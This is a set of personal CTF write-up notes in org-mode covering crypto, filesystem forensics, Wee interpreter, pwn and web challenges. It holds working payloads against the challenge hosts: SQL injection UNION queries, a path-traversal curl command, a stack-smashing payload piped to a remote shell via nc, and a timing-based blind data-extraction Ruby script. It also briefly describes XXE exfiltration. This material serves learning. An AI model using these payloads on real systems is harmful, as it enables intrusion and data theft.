#+OPTIONS: todo:t
* TODO Crypto [1/3]
** TODO Danced
- I'd have to learn Go to debug this server, so I skipped it
- It seems to be using various DJB stream ciphers (hence the name)
** DONE Decrypted
-
http://35.207.189.79/pyserver/server.py shows an API endpoint
exposing an encryption challenge using RSA
-
http://35.207.189.79/wee/encryptiontest
- The given parameters are the ciphertext, modulus and exponent (3)
- The ciphertext is way smaller than the modulus, so exponentiation of
it doesn't overflow the modulus
- This means that you can just take the integer cube root of the
ciphertext to get the plaintext
- Convert it to a string buffer to get the flag
** TODO pretty_linear
- This is a server doing a homebrew challenge-response format
- The key is a secret array of 40 integers
- The challenge is an array of 40 integers (which show up separated by
spaces in the =.pcap= file)
- Then the server multiplies each challenge integer with the
corresponding key integer mod P and adds them up
- It then compares it against the response (which ends up in the
=.pcap= file as well)
- If the comparison is fine, it prints out the flag encrypted with a
key derived from the key bytes
- This involves some mathematics, so I didn't bother solving it
- It turned out that Sagemath contains ready-made code for this task
* TODO For [2/3]
** DONE rare_mount
- We get some unknown kind of file system image (=file= cannot
identify it)
- Using =binwalk= without arguments reveals it's JFFS2
- It's an odd one used mostly in routers, with the oddity that it
comes in little and big endian (which the challenge description
hints at)
- I fiddled around with =mtd-utils= to convert the image from big to
little endian, then =file= managed recognizing it
- I used some other =mtd-utils= tool to mount the file system, it
contains a Rickroll video which stops playing in the middle
- Using =r2= showed that the file contains a bunch of "holes" (a
region of NUL bytes) in the middle of the blocks belonging to the
video
- I then learned that =binwalk -e= supports automatic extraction of
this file system if you install =jefferson=
- It managed extracting a text file containing the flag, additionally
to the video
** DONE epic_mount
- Same kind of file system image as in the previous challenge
- I directly used =binwalk -e=, this time it only extracted the
Rickroll video (which played back fully this time)
- I noticed that both the previous and the current file system image
had the same size, so I used `radiff2` to compare them
- This showed two things, first of all the hole of zeroes was patched
with a video segment, but more interestingly, there were lots of
small patches for single bytes
- Each byte was in the printable ASCII range
- If you put them together, you get the flag
- =radiff2 -x= shows a colored hex column which makes this a tad
easier
** TODO legendary_mount
- Same kind of file system image as in the previous challenge
- Nothing interesting gained from using =binwalk -e=
- This time I couldn't even mount the image
- Diffing it with the previous one showed lots of noise, with the last
block containing a fake flag
- This turned out to be compressed data, with some fixes it can be
decompressed to the actual flag
* TODO Misc [7/8]
** DONE Conversion Error
- This one is about the bespoke extensions done to the Wee interpreter
written in JS in
http://35.207.189.79/weelang/weeterpreter.ts
- You have to submit code to be evaluated to
http://35.207.189.79/wee/run
- If the assertion fails, you get the flag
- Here you have to submit a numeric looking string that when converted
to a number has a different length than the original thing
- =alert(assert_conversion('1.99999999999999999999999999999999999'))=
** DONE Equality Error
- See above
- You need a number that's not equal to itself
- Divide 0 by 0 to obtain =NaN=
- =alert(assert_equals(0/0))=
** DONE Number Error
- See above
- You need a number that's neither infinite nor NaN, but behaves like
them: If incremented by one, it's still the same as before
- Pass a sufficiently big number that overflows into a float
- =alert(assert_number(9007199254740992))=
** DONE Wee R Leet
- See above
- Pass a number equal to =0x1337=
- =alert(assert_leet(4919))=
** DONE Wee Token
- See above
- Exploit type confusion, that is something the language considers a
string, but which is a different JS type
- The =eval= function incorrectly declares its result a string
- =alert(assert_string(eval('0')))=
** DONE Layers
- The =eval= function in
http://35.207.189.79/weelang/weeterpreter.ts
actually evaluates JS code in a special browser context
- This browser context evaluates =`store('${flags.LAYERS}')`=
initially
- This variable is most likely stored in the =window= object, if you
eval =typeof window=, you'll see that it's defined
- Eval =alert(eval('var offset = 0; var x = []; for (var i in window)
{ x.push(i); }; x.slice(offset)'))= to get an array of keys in the
=window= object, fiddle with =offset= to see the remaining ones
- This confirms that =window.store= is indeed a thing, =typeof
window.store= shows that it's a function
- You can obtain its source code with =window.store.toString=
- It's minimally obfuscated by hex-encoding the string contents,
renaming variables and using strings and arrays to access basic
built-ins
- The code ends up doing =document.getElementById("fun").innerText =
x=
- Therefore the flag can be obtained by evaluating
=document.getElementById("fun").innerText=
- It contains the base64-encoded flag
#+BEGIN_SRC js
function store(x) {
var d = document
var _0x68de=[\"\\x62\\x74\\x6F\\x61\"]
var x=window[_0x68de[0]](x)
var _0x2d8a = [
\"\\x69\\x6E\\x6E\\x65\\x72\\x54\\x65\\x78\\x74\",
\"\\x66\\x75\\x6E\",
\"\\x67\\x65\\x74\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x42\\x79\\x49\\x64\"
]
d[_0x2d8a[2]](_0x2d8a[1])[_0x2d8a[0]] = x
}
#+END_SRC
** DONE /dev/null
- This is an API endpoint much like =/wee/run=, but it first sets a
variable to the flag, evaluates user-provided code in that context,
then throws the result away and returns ="GONE"=
- Evaluation times out after 5s
- Wee has a built-in =pause= function which can be used to
conditionally wait
- Using this fact one can construct yes/no queries about the flag,
much like with a timing-based blind SQL injection
- First of all the length is determined, then each character code is guessed
- A binary search speeds this up considerably
#+BEGIN_SRC ruby
require 'net/http'
require 'benchmark'
require 'socket'
TEMPLATE = '{"code": "if (length(DEV_NULL) >= NNN) then\npause(2000)\nend"}'
TEMPLATE2 = '{"code": "if (ord(charAt(DEV_NULL, NNN)) >= YYY) then\npause(2000)\nend"}'
def http_request(template, vars)
uri = URI('
http://35.207.189.79/wee/dev/null')
req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
body = template
vars.each { |k, v| body = body.sub(k, v) }
req.body = body
http = Net::HTTP.new(uri.host, uri.port)
Benchmark.realtime { http.request(req) }
end
def guess_flag_length
(1..100).bsearch { |n| http_request(TEMPLATE, 'NNN' => n.to_s) < 2 } - 1
end
def guess_flag_char(i)
(1..127).bsearch { |n| p n; http_request(TEMPLATE2, 'NNN' => i.to_s, 'YYY' => n.to_s) < 2 } - 1
end
len = guess_flag_length
flag = (0..flag_len).map { |i| guess_flag_char(i).chr }.join
puts flag
#+END_SRC
** TODO ultra secret
- This is a Rust server which accepts a password of 32 characters and
checks each letter whether it matches up with a secret hash, after
failing the check it exits early
- I've rewritten the code for =/dev/null= to do a TCP connection
attempt, but couldn't measure anything reliably
- I've tried figuring out whether the service did anything stupid, but
gave up since I don't know Rust
* TODO Of course [0/2]
** TODO Entrance
- Smart contracts
- I'm vaguely aware they can be exploited and that
https://dasp.co/ is
a thing, but it's too much effort to learn this just for this
occasion
- The title suggests this is item #1 on the list linked above, a
re-entrancy attack
** TODO Future
- See above
* TODO Pwn [1/7]
- I've never learned how to do these, but figured it's a chance to
learn a bit of gdb and teach a team member who started reading "The
Art of Exploitation"
** DONE 1996
-
http://x32.be/bof.txt
-
http://phrack.org/issues/49/14.html
-
https://people.freebsd.org/~lstewart/articles/cpumemory.pdf
- The tarball contains a vulnerable application and its C++ sources
- It reads in user input to get the name of an environment variable,
then prints its value
- There's also an unused =spawn_shell= function
- The task is to smash the stack to hijack the return address to the
=spawn_shell= function
- By checking the disassembly in =gdb= or using =objdump -t= you can
find its address, 0x0000000000400897
- Break on the main function, then step until the point where user
input is read in and enter a bunch of A's
- Inspect the stack with =x/20x $rsp-20=, then frame info with =info
frame=
- This shows how far =$rip= is away from the address where the A's are
stored, in our case 1048 bytes
- The payload is therefore 1048 A's, followed by the address of
=spawn_shell= in little-endian
- =perl -e 'print "A"x1048 . "\x97\x08\x40\x00\x00\x00\x00\x00"' >
input.txt=
- A shell can be spawned successfully in =gdb= with =run < input.txt=
- Outside of =gdb= however no shell ever starts
- Using =strace= reveals that it does start, but quits before even
printing a prompt
- This is due to the behavior of file redirection (and pipes) here,
=1996= reads from the file until EOF, then the spawned =bash= tries
to read more, but fails and quits
- =(cat input.txt; cat) | ./1996= behaves as expected, the first =cat=
provides the payload (and quits), the second one stays open and
keeps the spawned =bash= from quitting
- =(cat input.txt; cat) | nc 35.207.132.47 22227= spawns a shell,
executing =ls= shows a =flag.txt= in the current directory
#+BEGIN_SRC c++
// compile with -no-pie -fno-stack-protector
#include <iostream>
#include <unistd.h>
#include <stdlib.h>
using namespace std;
void spawn_shell() {
char* args[] = {(char*)"/bin/bash", NULL};
execve("/bin/bash", args, NULL);
}
int main() {
char buf[1024];
cout << "Which environment variable do you want to read? ";
cin >> buf;
cout << buf << "=" << getenv(buf) << endl;
}
#+END_SRC
** TODO arraymaster1
- Skipped
** TODO arraymaster2
- Skipped
** TODO poet
- This program comes without source, but with a corresponding libc for
some reason
- It asks for a poem and name, then scores it by tokenizing it and
checking for specific words
- You need to reach a specific number of points to get a prize
(presumably the flag)
- Trial and error shows that you can't get nearly enough points by
repeating words and run into a segfault first
- =rabin2 -I= shows that the stack isn't executable, so you presumably
need to overflow a value on the stack the program checks to match
the accepted number of points
- Messing around with the poem wasn't terribly successful
- We should have tested the poet name, too...
** TODO stringmaster1
- Skipped
** TODO stringmaster2
- Skipped
** TODO sum
- Skipped
* TODO Web [7/10]
** TODO blind
- PHP syntax highlighting script that shows its own source
- You can make it show =phpinfo()= output
- You can change the syntax highlighting colors and store them in a cookie
- The cookie is deserialized
- The code itself dynamically creates classes depending on the
settings and defines an =__autoload= function which uses =include=
on the class
- This means that if you try to create an arbitrary class by editing
the cookie and it tries including the file
- So, if you try to create the class =flag=, it tries including a file
by that name in the search path, but fails since the flag isn't
inside it
- An alternative way would be generating an already existing built-in
class that somehow reads in and exposes the flag
- No luck with that though since we didn't find a class accepting
exactly four arguments
- This turned out to be something from the updated OWASP top 10, XXE
(by using a XML class taking four arguments and including an entity
making a request exfiltrating the flag to an attacker-controlled
server)
** DONE collider
- Web application expecting two PDFs that contain specific text
- If both have the same MD5 hash, it prints out the flag
- I've generated minimal PDF files with the desired text and verified
that they were accepted, but then rejected due to the hash
- Using
https://github.com/corkami/pocs/blob/master/collisions/scripts/pdf.py
and the auxiliary PDF files inside the =scripts= directory I got new
files passing the hash collision check
** DONE Logged In
- There are API calls in
http://35.207.189.79/pyserver/server.py for
signing up, logging in and verifying your account
- Craft successful requests for each
- The flag is included in the headers of the last POST request
** DONE DB Secret
- The Wee server creates a =secrets= table and inserts the flag at
initialization
- There is a SQL injection possible in the admin API endpoint for
retrieving all project contents
- It requires a valid user token first, obtain it like with =Logged
in=
- Craft a successful request with the name set to admin (it's not
verified to match the token information), then you get projects with
SQL injection attempts in their code
- The injection happens when interpolating user input into the query
for the offset
- Initial test with =' ORDER BY 9001--= to make sure a different query
than the stock one was executed
- ='UNION SELECT id, secret FROM secrets--= errors out as the column
counts don't match up
- =' UNION SELECT id, id, id, id, id, id, id, secret FROM secrets--=
works!
** DONE flags
- This PHP script includes a file based on the browser-provided
=Accept-Language= header and includes a base64-encoded data URL
- There is basic sanitization happening to prevent Local File
Inclusion attacks, but replacing =../= once isn't enough
- This means that something like =..././= is changed to =../=
- =curl -H 'Accept-Language:
..././..././..././..././..././..././..././..././..././..././flag'
http://35.207.169.47/= to get the base64-encoded flag
** TODO localhost
- The Wee server includes special headers for everything except image
files of the GIF, JPG and PNG types
- If the host in the request is localhost, it adds a header containing
the flag
- I've tried faking the host by adding =X-Forwarded-For= to the header
without any luck
- There is a special API endpoint that proxies image requests and adds
their headers to the response, no luck with it either
- This turned out to be SSRF, if you instruct that endpoint to run a
query against =localhost=, you could do this for your own images,
such as the =kitten.png= API endpoint
- It won't give you the flag (as it's a PNG), but a request against
a different local resource would
** DONE McDonald
- Cryptic hint about the admin throwing apple cores away
-
http://35.207.91.38/robots.txt contains =Disallow:
/backup/.DS_Store=
- This file exists and can be analyzed with
https://github.com/gehaxelt/Python-dsstore
- It shows three file entries, =a=, =b= and =c=
- If you request =/a/.DS_Store=, =/b/.DS_Store= and =/c/.DS_Store=,
you'll find that the latter two exist
- Repeat this recursively until you discover the existence of
=/b/a/c/flag.txt=
** TODO NOT IMPLEMENTED
- This flag is only referenced in a non-accessible Python file
- The hint suggests that =Layers= is the challenge from where you can
launch this one
- Rumor has it that one can create new DOM elements by using Wee's
=eval=, a =<script>= one can refer to the Python file, end up
including it and define new variables in the browser context...
** DONE Not(e) accessible
- PHP script for note taking
- The sources reference a tarball in a HTML comment
- It gives you a PHP frontend and Ruby backend (yay for microservices)
- The Ruby backend gives you the flag if you access =/admin=
- The PHP frontend does a few backend requests, the most interesting
one checks the ID by converting it to an integer and verifying the
path to its password exists, but then accesses the ID endpoint as is
- It turns out that "123foo" is parsed as 123, this even works with
"123/../admin"
- A bit of experimentation gives this working URL:
http://35.207.120.163/view.php?id=-7755642707975060418/../../admin&pw=25ed1bcb423b0b7200f485fc5ff71c8e
** DONE saltfish
- PHP script doing stupid checks of a GET parameter and user agent
- I simulated it locally by using =php -S=
- I've eventually found that the first check can be bypassed
completely by passing the GET parameter as array containing a string
of zeroes, this is because in a numeric context arrays are always
NULL and so is a string of zeroes
- If you MD5 that string, it may become a hash starting with a zero,
so I wrote a script that tries increasingly long strings of zeroes
until the second check passes
#+BEGIN_SRC php
<?php
if ($_ = @$_GET['pass']) {
$flag = "...";
$ua = $_SERVER['HTTP_USER_AGENT'];
if (md5($_) + $_[0] == md5($ua)) {
echo "Passed first check\n";
if ($_[0] == md5($_[0] . $flag)[0]) {
echo "Passed second check\n";
echo $flag;
}
}
}
#+END_SRC
#+BEGIN_SRC python
import requests
ADDRESS = "
http://35.207.89.211/"
UA = "xxx"
session = requests.Session()
session.headers.update({'User-Agent': UA})
def guess(digits):
pw = '0' * digits
body = session.get(ADDRESS + '?pass[]=' + pw).text
return '35c3' in body
for i in range(1024):
if guess(i):
print(i)
break
#+END_SRC